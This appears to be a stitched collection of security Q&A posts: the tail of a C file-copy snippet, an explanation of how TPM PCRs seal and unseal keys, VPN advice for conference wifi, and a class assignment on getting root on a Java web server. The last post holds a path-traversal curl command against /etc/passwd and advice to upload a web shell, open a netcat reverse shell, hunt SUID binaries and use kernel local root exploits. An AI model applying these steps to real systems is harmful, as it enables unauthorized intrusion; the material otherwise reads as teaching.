    int dst_fd = open("file.txt", O_WRONLY);

    fstat(dst_fd, &sb);
    sendfile(dst_fd, src_fd, NULL, sb.st_size);
    fsync(dst_fd);

    close(src_fd);
    close(dst_fd);
}


How are TPMs used to detect tampering? I've known some stuff about trusted platform modules for over six or seven years. I understand their usage in (un)wrapping keys and storing information in NVRAM which may then be locked permanently or until the next power cycle. And though I understand how the platform configuration registers are updated (their current value and the input value are hashed together), I do not understand what good they do or how they can be used by the firmware or software to detect changes.

If the TPM is supposed to be a dumb (passive) chip, then shouldn't it be incapable of determining whether or not to deny access to the data it holds based on the PCRs' values? If the PCRs are used to compare two states, then how can the system software do this if it needs to know either past future data that it would seem it cannot ever have access to? I am most familiar with the Integrity Measurement Architecture, so maybe you want to use that to explain this stuff to me.

Good question. To my knowledge, this is where most of the Trusted Computing confusion comes from.

Yes, it's important to understand that while the TPM collects measurements (PRCs) from DRTM (e.g. Tboot) or SRTM, it cannot not take action on them. The value of those measurements can only be seen with the seal()/unseal()/quote() operations.

Imagine we booted within an environment we believe to be clean (e.g. a fresh install). SRTM/DRTM filled the measurements of the boot process within the TPM's PCRs. We can use the seal() operation to encrypt data using the values of those PCRs. Yes, the PCRs becomes the key (or part of the key). In other words, the signature of the running environment is the key to our data.

Now imagine we rebooted and want to get back this encrypted data. We need to use the unseal() operation which will use the current PRCs to try to decrypt our data. If the environment is the same, no problem we get our data back. If the environment changed, no luck. Keep in mind we cannot forge PCRs value - only SRTM and DRTM can.

If you run this scenario while considering that the data we encrypted is actually a key used to encrypt our hard drive, you now understand how Trusted Computing (TPM) can prevent someone from accessing something without actually talking decisions - without actually being active (being dumb).

I suggest you read this answer.


How do I secure devices for use on conference wifi? A family member is traveling to a conference and will need to use the convention hall's wifi on both a macOS Sierra laptop and an Android 6.0 Marshmallow phone for web browsing and WhatsApp. How can I best prepare her devices for securely using the conference's wifi network?

A VPN solution would be suitable here. It allows your family member to connect to any public (in your example conference) wifi hotspot and have all their internet traffic protected from being snooped on or otherwise interfered with.

You mention in the comments at the top about trust. Yes a VPN moves the who you trust to someone else. But then that applies to anything on the internet, including which ISP you trust to connect to the internet to start with. If you use an OpenVPN solution you could setup a VPN host at your home and get them to connect to that. That way they will be using your internet. But personally if you do not know how to do that I would suggest using one of the many VPN providers on the internet, some free some paid for.

Also make sure their device has been patched with an AV and firewall enabled to stop local traffic attempting to access their laptop.


Taking root ownership Just gonna make this clear first, this is for class!

I have an assignment that requires to 1) modify a web server written in Java to accept file uploads and to use this to deface the homepage (did that no problem).

2) Take root ownership of the machine.

I'm hitting a bit of a wall with the second part.  I used curl with an HTTP GET to traverse to the etc/passwd file but then later found that no passwords are stored here. I know the shadow file has the passwords stored, but I can't access it.  The server kicks back a 404 when I try to, I'm assuming permissions are the issue.

My command for curl looks like this:

curl 127.0.0.1:8080/../../../../etc/passwd

Although I'm doing this from the same machine that the server is running on, I have to play it as if I don't have access to the server.  Any help in pointing me in the right direction to go from here is appreciated!

There are different ways to go about this. First of all I would advice you to upload a shell onto the web server which allows for interactive bash commands. There are tons of them out there, not sure if there is one for java. If you don't find one just create a simple script which performs a reverse TCP shell bind to your IP (you can use netcat, if you aren't familiar with netcat lookup some tutorials).

From here you already have some easier control so you can go looking in files for interesting content. Check the logs for usernames/passwords and go looking for executables with the SUID bit set. Also try to find out what other services are running (these might be exploitable) so make a nice service enumeration. Make sure to check the version of the kernel when you are on there as it might be possible to create a local root exploit (check exploit-db and google).